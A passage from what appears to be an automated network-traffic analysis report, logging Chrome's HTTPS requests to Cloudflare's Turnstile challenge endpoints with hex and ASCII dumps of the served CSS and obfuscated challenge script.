78 74 20 61 3a 68 6f 76 65 72 2c 2e 74 68 65 6d 65 2d 64 61 72 Data Ascii: e-dark #challenge-overlay a,.theme-dark #challenge-overlay a:link,.theme-dark #challenge-overlay a:visited{color:#bbb}.theme-dark #challenge-error-text a:active,.theme-dark #challenge-error-text a:focus,.theme-dark #challenge-error-text a:hover,.theme-dar
2025-01-14 19:04:25 UTC	1369	IN	Data Raw: 32 30 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 2e 6c 6f 67 6f 2d 74 65 78 74 7b 66 69 6c 6c 3a 23 66 66 66 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 6c 69 6e 6b 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 62 62 62 7d 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 61 63 74 69 76 65 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 65 6c 70 65 72 2d 6c 6f 6f 70 2d 6c 69 6e 6b 3a 66 6f 63 75 73 2c 2e 74 68 65 6d 65 2d 64 61 72 6b 20 23 66 72 2d 68 Data Ascii: 20}.theme-dark .logo-text{fill:#fff}.theme-dark #fr-helper-loop-link,.theme-dark #fr-helper-loop-link:link,.theme-dark #fr-helper-loop-link:visited{color:#bbb}.theme-dark #fr-helper-loop-link:active,.theme-dark #fr-helper-loop-link:focus,.theme-dark #fr-h
2025-01-14 19:04:25 UTC	1369	IN	Data Raw: 3b 73 74 72 6f 6b 65 2d 64 61 73 68 6f 66 66 73 65 74 3a 31 36 36 3b 73 74 72 6f 6b 65 2d 77 69 64 74 68 3a 32 3b 73 74 72 6f 6b 65 2d 6d 69 74 65 72 6c 69 6d 69 74 3a 31 30 3b 73 74 72 6f 6b 65 3a 23 64 65 31 33 30 33 3b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 61 6e 69 6d 61 74 69 6f 6e 3a 73 74 72 6f 6b 65 20 2e 36 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 66 61 69 6c 75 72 65 2d 63 72 6f 73 73 7b 66 69 6c 6c 3a 23 66 66 66 3b 74 72 61 6e 73 66 6f 72 6d 2d 6f 72 69 67 69 6e 3a 62 6f 74 74 6f 6d 20 63 65 6e 74 65 72 7d 40 6b 65 79 66 72 61 6d 65 73 20 66 61 64 65 2d 69 6e 2e 61 6e 69 6d 61 74 69 6f 6e 7b 30 25 7b 66 69 6c 6c 3a 23 64 65 31 33 30 33 3b 73 74 72 6f 6b 65 3a 23 64 65 31 Data Ascii: ;stroke-dashoffset:166;stroke-width:2;stroke-miterlimit:10;stroke:#de1303;fill:#de1303;animation:stroke .6s cubic-bezier(.65,0,.45,1) forwards}.failure-cross{fill:#fff;transform-origin:bottom center}@keyframes fade-in.animation{0%{fill:#de1303;stroke:#de1
2025-01-14 19:04:25 UTC	1369	IN	Data Raw: 61 79 3a 66 6c 65 78 3b 66 6c 65 78 2d 66 6c 6f 77 3a 63 6f 6c 75 6d 6e 20 6e 6f 77 72 61 70 3b 67 61 70 3a 30 3b 68 65 69 67 68 74 3a 31 34 30 70 78 3b 70 61 64 64 69 6e 67 3a 31 32 70 78 20 30 3b 70 6c 61 63 65 2d 63 6f 6e 74 65 6e 74 3a 73 70 61 63 65 2d 62 65 74 77 65 65 6e 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 6c 69 6e 6b 2d 73 70 61 63 65 72 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 33 70 78 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 33 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 2e 63 62 2d 63 6f 6e 74 61 69 6e 65 72 7b 6d 61 72 67 69 6e 3a 30 20 31 32 70 78 7d 2e 73 69 7a 65 2d 63 6f 6d Data Ascii: ay:flex;flex-flow:column nowrap;gap:0;height:140px;padding:12px 0;place-content:space-between}.size-compact .link-spacer{margin-left:3px;margin-right:3px}.size-compact .cb-c{margin:0 12px;text-align:left}.size-compact .cb-container{margin:0 12px}.size-com
2025-01-14 19:04:25 UTC	1369	IN	Data Raw: 69 7b 6c 65 66 74 3a 32 35 35 70 78 7d 2e 72 74 6c 20 23 66 72 2d 68 65 6c 70 65 72 2c 2e 72 74 6c 20 23 66 72 2d 6f 76 65 72 72 75 6e 7b 6d 61 72 67 69 6e 2d 6c 65 66 74 3a 2e 32 35 65 6d 3b 6d 61 72 67 69 6e 2d 72 69 67 68 74 3a 30 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 7b 6d 61 72 67 69 6e 3a 30 20 30 20 30 20 31 36 70 78 3b 77 69 64 74 68 3a 39 30 70 78 7d 2e 72 74 6c 20 23 62 72 61 6e 64 69 6e 67 2c 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 70 61 64 64 69 6e 67 2d 6c 65 66 74 3a 30 3b 70 61 64 64 69 6e 67 2d 72 69 67 68 74 3a 30 3b 74 65 78 74 2d 61 6c 69 67 6e 3a 6c 65 66 74 7d 2e 72 74 6c 2e 73 69 7a 65 2d 63 6f 6d 70 61 63 74 20 23 62 72 61 6e 64 69 6e 67 7b 61 6c 69 67 6e 2d 73 65 6c 66 3a 66 6c 65 Data Ascii: i{left:255px}.rtl #fr-helper,.rtl #fr-overrun{margin-left:.25em;margin-right:0}.rtl #branding{margin:0 0 0 16px;width:90px}.rtl #branding,.rtl.size-compact #branding{padding-left:0;padding-right:0;text-align:left}.rtl.size-compact #branding{align-self:fle
2025-01-14 19:04:25 UTC	1369	IN	Data Raw: 6f 6c 6f 72 3a 23 31 36 36 33 37 39 3b 74 65 78 74 2d 64 65 63 6f 72 61 74 69 6f 6e 3a 75 6e 64 65 72 6c 69 6e 65 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 6c 69 6e 6b 2c 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 61 3a 76 69 73 69 74 65 64 7b 63 6f 6c 6f 72 3a 23 32 33 32 33 32 33 7d 23 63 68 61 6c 6c 65 6e 67 65 2d 65 72 72 6f 72 2d 74 69 74 6c 65 20 2e 69 2d 77 72 61 70 70 65 72 7b 64 69 73 70 6c 61 79 3a 6e 6f 6e 65 7d 2e 75 6e 73 70 75 6e 20 2e 63 69 72 63 6c 65 7b 61 6e 69 6d 61 74 69 6f 6e 3a 75 6e 73 70 69 6e 20 2e 37 73 20 63 75 62 69 63 2d 62 65 7a 69 65 72 28 2e 36 35 2c 30 2c 2e 34 35 2c 31 29 20 66 6f 72 77 61 72 64 73 7d 2e 63 69 72 63 6c 65 7b 73 74 72 6f 6b 65 2d 77 69 64 74 68 Data Ascii: olor:#166379;text-decoration:underline}#challenge-error-title a:link,#challenge-error-title a:visited{color:#232323}#challenge-error-title .i-wrapper{display:none}.unspun .circle{animation:unspin .7s cubic-bezier(.65,0,.45,1) forwards}.circle{stroke-width

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50059	104.18.95.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:26 UTC	727	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901fe449df1f4249&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: same-origin Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Referer: https://challenges.cloudflare.com/cdn-cgi/challenge-platform/h/b/turnstile/if/ov2/av0/rcv/pfgga/0x4AAAAAAA4vgiyaUX32MWhl/auto/fbE/normal/auto/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:26 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:26 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 120404 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901fe44e4c9c8c5d-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:26 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2025-01-14 19:04:26 UTC	1369	IN	Data Raw: 74 68 69 73 25 32 30 70 72 6f 62 6c 65 6d 25 32 30 70 65 72 73 69 73 74 73 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 6f 6f 74 65 72 5f 74 65 72 6d 73 22 3a 22 54 65 72 6d 73 22 2c 22 66 65 65 64 62 61 63 6b 5f 72 65 70 6f 72 74 5f 6f 75 74 70 75 74 5f 73 75 62 74 69 74 6c 65 22 3a 22 59 6f 75 72 25 32 30 66 65 65 64 62 61 63 6b 25 32 30 72 65 70 6f 72 74 25 32 30 68 61 73 25 32 30 62 65 65 6e 25 32 30 73 75 63 63 65 73 73 66 75 6c 6c 79 25 32 30 73 75 62 6d 69 74 74 65 64 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 65 78 70 69 72 65 64 22 3a 22 45 78 70 69 72 65 64 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 Data Ascii: this%20problem%20persists.","turnstile_footer_terms":"Terms","feedback_report_output_subtitle":"Your%20feedback%20report%20has%20been%20successfully%20submitted","turnstile_expired":"Expired","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Up
2025-01-14 19:04:26 UTC	1369	IN	Data Raw: 2c 67 39 2c 67 66 2c 67 67 2c 67 68 2c 67 72 2c 67 43 2c 67 47 2c 67 48 2c 65 59 2c 65 5a 29 7b 66 6f 72 28 67 4a 3d 62 2c 66 75 6e 63 74 69 6f 6e 28 63 2c 64 2c 67 49 2c 65 2c 66 29 7b 66 6f 72 28 67 49 3d 62 2c 65 3d 63 28 29 3b 21 21 5b 5d 3b 29 74 72 79 7b 69 66 28 66 3d 2d 70 61 72 73 65 49 6e 74 28 67 49 28 36 36 31 29 29 2f 31 2b 70 61 72 73 65 49 6e 74 28 67 49 28 35 37 39 29 29 2f 32 2b 70 61 72 73 65 49 6e 74 28 67 49 28 37 34 33 29 29 2f 33 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 49 28 35 32 38 29 29 2f 34 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 37 37 35 29 29 2f 35 2a 28 70 61 72 73 65 49 6e 74 28 67 49 28 31 36 39 30 29 29 2f 36 29 2b 2d 70 61 72 73 65 49 6e 74 28 67 49 28 31 33 35 35 29 29 2f 37 2a 28 2d 70 61 72 73 65 49 6e 74 28 67 Data Ascii: ,g9,gf,gg,gh,gr,gC,gG,gH,eY,eZ){for(gJ=b,function(c,d,gI,e,f){for(gI=b,e=c();!![];)try{if(f=-parseInt(gI(661))/1+parseInt(gI(579))/2+parseInt(gI(743))/3(-parseInt(gI(528))/4)+-parseInt(gI(1775))/5(parseInt(gI(1690))/6)+-parseInt(gI(1355))/7*(-parseInt(g
2025-01-14 19:04:26 UTC	1369	IN	Data Raw: 33 31 33 29 5d 28 29 2c 48 3d 30 3b 6f 5b 68 33 28 31 31 33 39 29 5d 28 48 2c 47 5b 68 33 28 39 35 39 29 5d 29 3b 47 5b 48 5d 3d 3d 3d 47 5b 48 2b 31 5d 3f 47 5b 68 33 28 31 32 33 34 29 5d 28 48 2b 31 2c 31 29 3a 48 2b 3d 31 29 3b 72 65 74 75 72 6e 20 47 7d 28 78 29 2c 42 3d 27 6e 41 73 41 61 41 62 27 2e 73 70 6c 69 74 28 27 41 27 29 2c 42 3d 42 5b 68 31 28 31 33 34 37 29 5d 5b 68 31 28 31 37 39 37 29 5d 28 42 29 2c 43 3d 30 3b 6f 5b 68 31 28 31 31 33 39 29 5d 28 43 2c 78 5b 68 31 28 39 35 39 29 5d 29 3b 44 3d 78 5b 43 5d 2c 45 3d 65 55 28 67 2c 68 2c 44 29 2c 6f 5b 68 31 28 37 38 32 29 5d 28 42 2c 45 29 3f 6f 5b 68 31 28 38 30 38 29 5d 21 3d 3d 68 31 28 31 38 39 30 29 3f 78 28 73 5b 68 31 28 31 33 34 39 29 5d 5b 68 31 28 31 32 32 34 29 5d 2c 31 65 33 29 Data Ascii: 313)](),H=0;o[h3(1139)](H,G[h3(959)]);G[H]===G[H+1]?G[h3(1234)](H+1,1):H+=1);return G}(x),B='nAsAaAb'.split('A'),B=B[h1(1347)][h1(1797)](B),C=0;o[h1(1139)](C,x[h1(959)]);D=x[C],E=eU(g,h,D),o[h1(782)](B,E)?o[h1(808)]!==h1(1890)?x(s[h1(1349)][h1(1224)],1e3)
2025-01-14 19:04:26 UTC	1369	IN	Data Raw: 2c 65 5a 3d 30 3b 32 35 36 3e 65 5a 3b 65 59 5b 65 5a 5d 3d 53 74 72 69 6e 67 5b 67 4a 28 31 30 38 34 29 5d 28 65 5a 29 2c 65 5a 2b 2b 29 3b 67 48 3d 28 66 30 3d 28 30 2c 65 76 61 6c 29 28 67 4a 28 31 39 34 32 29 29 2c 66 31 3d 61 74 6f 62 28 67 4a 28 31 30 32 34 29 29 2c 66 72 3d 66 75 6e 63 74 69 6f 6e 28 66 2c 68 7a 2c 67 2c 68 2c 69 2c 6a 2c 6b 2c 6c 2c 6d 29 7b 66 6f 72 28 68 7a 3d 67 4a 2c 67 3d 7b 7d 2c 67 5b 68 7a 28 31 36 31 30 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 2b 73 7d 2c 67 5b 68 7a 28 31 38 37 34 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 26 73 7d 2c 67 5b 68 7a 28 31 38 38 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 6e 2c 73 29 7b 72 65 74 75 72 6e 20 6e 25 73 7d 2c 68 3d 67 Data Ascii: ,eZ=0;256>eZ;eY[eZ]=String[gJ(1084)](eZ),eZ++);gH=(f0=(0,eval)(gJ(1942)),f1=atob(gJ(1024)),fr=function(f,hz,g,h,i,j,k,l,m){for(hz=gJ,g={},g[hz(1610)]=function(n,s){return n+s},g[hz(1874)]=function(n,s){return n&s},g[hz(1882)]=function(n,s){return n%s},h=g
2025-01-14 19:04:26 UTC	1369	IN	Data Raw: 2c 6f 2c 73 2c 78 2c 42 2c 43 2c 44 29 7b 69 3d 28 69 35 3d 67 4a 2c 7b 27 67 51 4e 47 47 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 2c 47 2c 48 29 7b 72 65 74 75 72 6e 20 45 28 46 2c 47 2c 48 29 7d 2c 27 6b 65 6e 68 46 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 46 3d 3d 3d 45 7d 2c 27 59 76 74 58 49 27 3a 69 35 28 31 34 31 38 29 2c 27 41 43 54 7a 49 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 2c 27 7a 43 72 58 43 27 3a 69 35 28 34 38 36 29 2c 27 47 73 64 7a 4c 27 3a 69 35 28 31 31 39 38 29 2c 27 61 6a 49 6c 4a 27 3a 69 35 28 31 37 33 32 29 2c 27 65 68 70 4a 6a 27 3a 69 35 28 39 35 37 29 2c 27 53 73 70 49 55 27 3a 66 75 6e 63 74 69 6f 6e 28 45 2c 46 29 7b 72 65 74 75 72 6e 20 45 2b 46 7d 7d 29 Data Ascii: ,o,s,x,B,C,D){i=(i5=gJ,{'gQNGG':function(E,F,G,H){return E(F,G,H)},'kenhF':function(E,F){return F===E},'YvtXI':i5(1418),'ACTzI':function(E,F){return E+F},'zCrXC':i5(486),'GsdzL':i5(1198),'ajIlJ':i5(1732),'ehpJj':i5(957),'SspIU':function(E,F){return E+F}})
2025-01-14 19:04:26 UTC	1369	IN	Data Raw: 29 5d 26 26 67 5b 69 36 28 35 38 36 29 5d 28 74 79 70 65 6f 66 20 65 5b 69 36 28 31 37 33 31 29 5d 2c 67 5b 69 36 28 31 32 36 34 29 5d 29 29 26 26 28 28 6c 3d 65 5b 69 36 28 31 37 33 31 29 5d 5b 69 36 28 38 31 39 29 5d 28 27 5c 6e 27 29 2c 6c 5b 69 36 28 39 35 39 29 5d 3e 31 29 26 26 28 6d 3d 2f 5e 5c 73 2a 61 74 5c 73 2b 28 2e 2b 29 3a 28 5c 64 2b 29 3a 28 5c 64 2b 29 2f 2c 6e 3d 6c 5b 31 5d 5b 69 36 28 31 31 36 36 29 5d 28 6d 29 2c 6e 29 29 26 26 28 67 5b 69 36 28 31 33 35 39 29 5d 3d 3d 3d 69 36 28 31 31 30 37 29 3f 28 76 3d 7b 7d 2c 76 5b 69 36 28 31 32 33 32 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 42 2c 43 29 7b 72 65 74 75 72 6e 20 42 2b 43 7d 2c 76 5b 69 36 28 36 39 39 29 5d 3d 66 75 6e 63 74 69 6f 6e 28 42 2c 43 29 7b 72 65 74 75 72 6e 20 42 2b 43 7d Data Ascii: )]&&g[i6(586)](typeof e[i6(1731)],g[i6(1264)]))&&((l=e[i6(1731)][i6(819)]('\n'),l[i6(959)]>1)&&(m=/^\s*at\s+(.+):(\d+):(\d+)/,n=l[1][i6(1166)](m),n))&&(g[i6(1359)]===i6(1107)?(v={},v[i6(1232)]=function(B,C){return B+C},v[i6(699)]=function(B,C){return B+C}
2025-01-14 19:04:26 UTC	1369	IN	Data Raw: 5b 69 39 28 37 31 39 29 5d 3d 67 2c 6e 5b 69 39 28 38 32 34 29 5d 3d 68 2c 6e 5b 69 39 28 31 30 39 32 29 5d 3d 69 2c 6f 3d 6e 2c 65 4d 5b 69 39 28 31 31 31 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 63 29 7b 69 63 3d 69 39 2c 65 4d 5b 69 63 28 36 39 31 29 5d 28 6f 2c 75 6e 64 65 66 69 6e 65 64 2c 6b 5b 69 63 28 31 30 33 31 29 5d 29 7d 2c 31 30 29 2c 65 4d 5b 69 39 28 31 31 31 32 29 5d 28 66 75 6e 63 74 69 6f 6e 28 69 64 29 7b 69 64 3d 69 39 2c 65 4d 5b 69 64 28 31 31 37 33 29 5d 28 29 7d 2c 31 65 33 29 2c 65 4d 5b 69 39 28 31 38 37 39 29 5d 5b 69 39 28 31 30 30 35 29 5d 28 6b 5b 69 39 28 31 34 39 34 29 5d 2c 65 29 29 3b 72 65 74 75 72 6e 21 5b 5d 7d 2c 66 45 3d 30 2c 66 48 3d 7b 7d 2c 66 48 5b 67 4a 28 38 34 31 29 5d 3d 66 47 2c 65 4d 5b 67 4a 28 31 31 39 Data Ascii: [i9(719)]=g,n[i9(824)]=h,n[i9(1092)]=i,o=n,eM[i9(1112)](function(ic){ic=i9,eM[ic(691)](o,undefined,k[ic(1031)])},10),eM[i9(1112)](function(id){id=i9,eM[id(1173)]()},1e3),eM[i9(1879)][i9(1005)](k[i9(1494)],e));return![]},fE=0,fH={},fH[gJ(841)]=fG,eM[gJ(119
2025-01-14 19:04:26 UTC	1369	IN	Data Raw: 69 6e 75 65 3b 63 61 73 65 27 35 27 3a 47 5b 69 59 28 31 35 34 35 29 5d 3d 3d 3d 64 5b 69 59 28 31 32 36 38 29 5d 26 26 68 5b 69 59 28 38 36 37 29 5d 2b 2b 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 36 27 3a 4c 5b 69 59 28 31 35 34 35 29 5d 3d 3d 3d 64 5b 69 59 28 31 38 30 35 29 5d 26 26 68 5b 69 59 28 31 34 32 38 29 5d 2b 2b 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 37 27 3a 68 5b 69 59 28 31 37 30 30 29 5d 3d 4e 3b 63 6f 6e 74 69 6e 75 65 3b 63 61 73 65 27 38 27 3a 4b 5b 69 59 28 31 35 34 35 29 5d 3d 3d 3d 64 5b 69 59 28 36 33 39 29 5d 26 26 68 5b 69 59 28 31 38 36 33 29 5d 2b 2b 3b 63 6f 6e 74 69 6e 75 65 7d 62 72 65 61 6b 7d 7d 7d 7d 29 2c 67 68 3d 21 5b 5d 2c 21 66 49 28 67 4a 28 31 31 36 38 29 29 26 26 28 67 46 28 29 2c 73 65 74 49 6e 74 65 72 Data Ascii: inue;case'5':G[iY(1545)]===d[iY(1268)]&&h[iY(867)]++;continue;case'6':L[iY(1545)]===d[iY(1805)]&&h[iY(1428)]++;continue;case'7':h[iY(1700)]=N;continue;case'8':K[iY(1545)]===d[iY(639)]&&h[iY(1863)]++;continue}break}}}}),gh=![],!fI(gJ(1168))&&(gF(),setInter
2025-01-14 19:04:26 UTC	1369	IN	Data Raw: 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 69 3d 3d 68 7d 2c 27 74 55 47 4d 69 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 4b 4a 43 6d 44 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 2d 69 7d 2c 27 44 4d 71 42 45 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 7c 69 7d 2c 27 74 56 61 4d 4d 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 3c 69 7d 2c 27 68 79 6f 65 56 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 26 69 7d 2c 27 4b 54 78 45 77 27 3a 6a 79 28 36 36 37 29 2c 27 66 41 6b 6b 73 27 3a 66 75 6e 63 74 69 6f 6e 28 68 2c 69 29 7b 72 65 74 75 72 6e 20 68 3c 69 7d 2c 27 79 5a 79 79 4e 27 3a 66 Data Ascii: nction(h,i){return i==h},'tUGMi':function(h,i){return h<i},'KJCmD':function(h,i){return h-i},'DMqBE':function(h,i){return h\|i},'tVaMM':function(h,i){return h<<i},'hyoeV':function(h,i){return h&i},'KTxEw':jy(667),'fAkks':function(h,i){return h<i},'yZyyN':f

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50060	104.18.94.41	443	5660	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2025-01-14 19:04:27 UTC	433	OUT	GET /cdn-cgi/challenge-platform/h/b/orchestrate/chl_api/v1?ray=901fe449df1f4249&lang=auto HTTP/1.1 Host: challenges.cloudflare.com Connection: keep-alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: / Sec-Fetch-Site: none Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2025-01-14 19:04:27 UTC	331	IN	HTTP/1.1 200 OK Date: Tue, 14 Jan 2025 19:04:27 GMT Content-Type: application/javascript; charset=UTF-8 Content-Length: 116037 Connection: close cache-control: private, max-age=0, no-store, no-cache, must-revalidate, post-check=0, pre-check=0 Server: cloudflare CF-RAY: 901fe453cf1f8c9c-EWR alt-svc: h3=":443"; ma=86400
2025-01-14 19:04:27 UTC	1038	IN	Data Raw: 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 75 61 4f 3d 66 61 6c 73 65 3b 77 69 6e 64 6f 77 2e 5f 63 66 5f 63 68 6c 5f 6f 70 74 2e 55 52 61 4f 61 38 3d 7b 22 6d 65 74 61 64 61 74 61 22 3a 7b 22 63 68 61 6c 6c 65 6e 67 65 2e 74 65 72 6d 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 77 77 77 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 77 65 62 73 69 74 65 2d 74 65 72 6d 73 25 32 46 22 2c 22 63 68 61 6c 6c 65 6e 67 65 2e 73 75 70 70 6f 72 74 65 64 5f 62 72 6f 77 73 65 72 73 22 3a 22 68 74 74 70 73 25 33 41 25 32 46 25 32 46 64 65 76 65 6c 6f 70 65 72 73 2e 63 6c 6f 75 64 66 6c 61 72 65 2e 63 6f 6d 25 32 46 66 75 6e 64 61 6d 65 6e 74 61 6c 73 25 32 46 67 65 74 2d 73 74 61 72 74 65 64 25 32 46 63 6f 6e 63 65 70 74 73 25 32 46 63 Data Ascii: window._cf_chl_opt.uaO=false;window._cf_chl_opt.URaOa8={"metadata":{"challenge.terms":"https%3A%2F%2Fwww.cloudflare.com%2Fwebsite-terms%2F","challenge.supported_browsers":"https%3A%2F%2Fdevelopers.cloudflare.com%2Ffundamentals%2Fget-started%2Fconcepts%2Fc
2025-01-14 19:04:27 UTC	1369	IN	Data Raw: 5f 72 65 70 6f 72 74 22 3a 22 48 61 76 69 6e 67 25 32 30 74 72 6f 75 62 6c 65 25 33 46 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 76 65 72 69 66 79 69 6e 67 22 3a 22 56 65 72 69 66 79 69 6e 67 2e 2e 2e 22 2c 22 74 75 72 6e 73 74 69 6c 65 5f 66 61 69 6c 75 72 65 22 3a 22 45 72 72 6f 72 22 2c 22 6f 75 74 64 61 74 65 64 5f 62 72 6f 77 73 65 72 22 3a 22 59 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 69 73 25 32 30 6f 75 74 25 32 30 6f 66 25 32 30 64 61 74 65 2e 25 32 30 55 70 64 61 74 65 25 32 30 79 6f 75 72 25 32 30 62 72 6f 77 73 65 72 25 32 30 74 6f 25 32 30 76 69 65 77 25 32 30 74 68 69 73 25 32 30 73 69 74 65 25 32 30 70 72 6f 70 65 72 6c 79 2e 25 33 43 62 72 25 32 46 25 33 45 25 33 43 61 25 32 30 74 61 72 67 65 74 25 33 44 25 32 32 5f 62 6c 61 6e 6b 25 Data Ascii: _report":"Having%20trouble%3F","turnstile_verifying":"Verifying...","turnstile_failure":"Error","outdated_browser":"Your%20browser%20is%20out%20of%20date.%20Update%20your%20browser%20to%20view%20this%20site%20properly.%3Cbr%2F%3E%3Ca%20target%3D%22_blank%
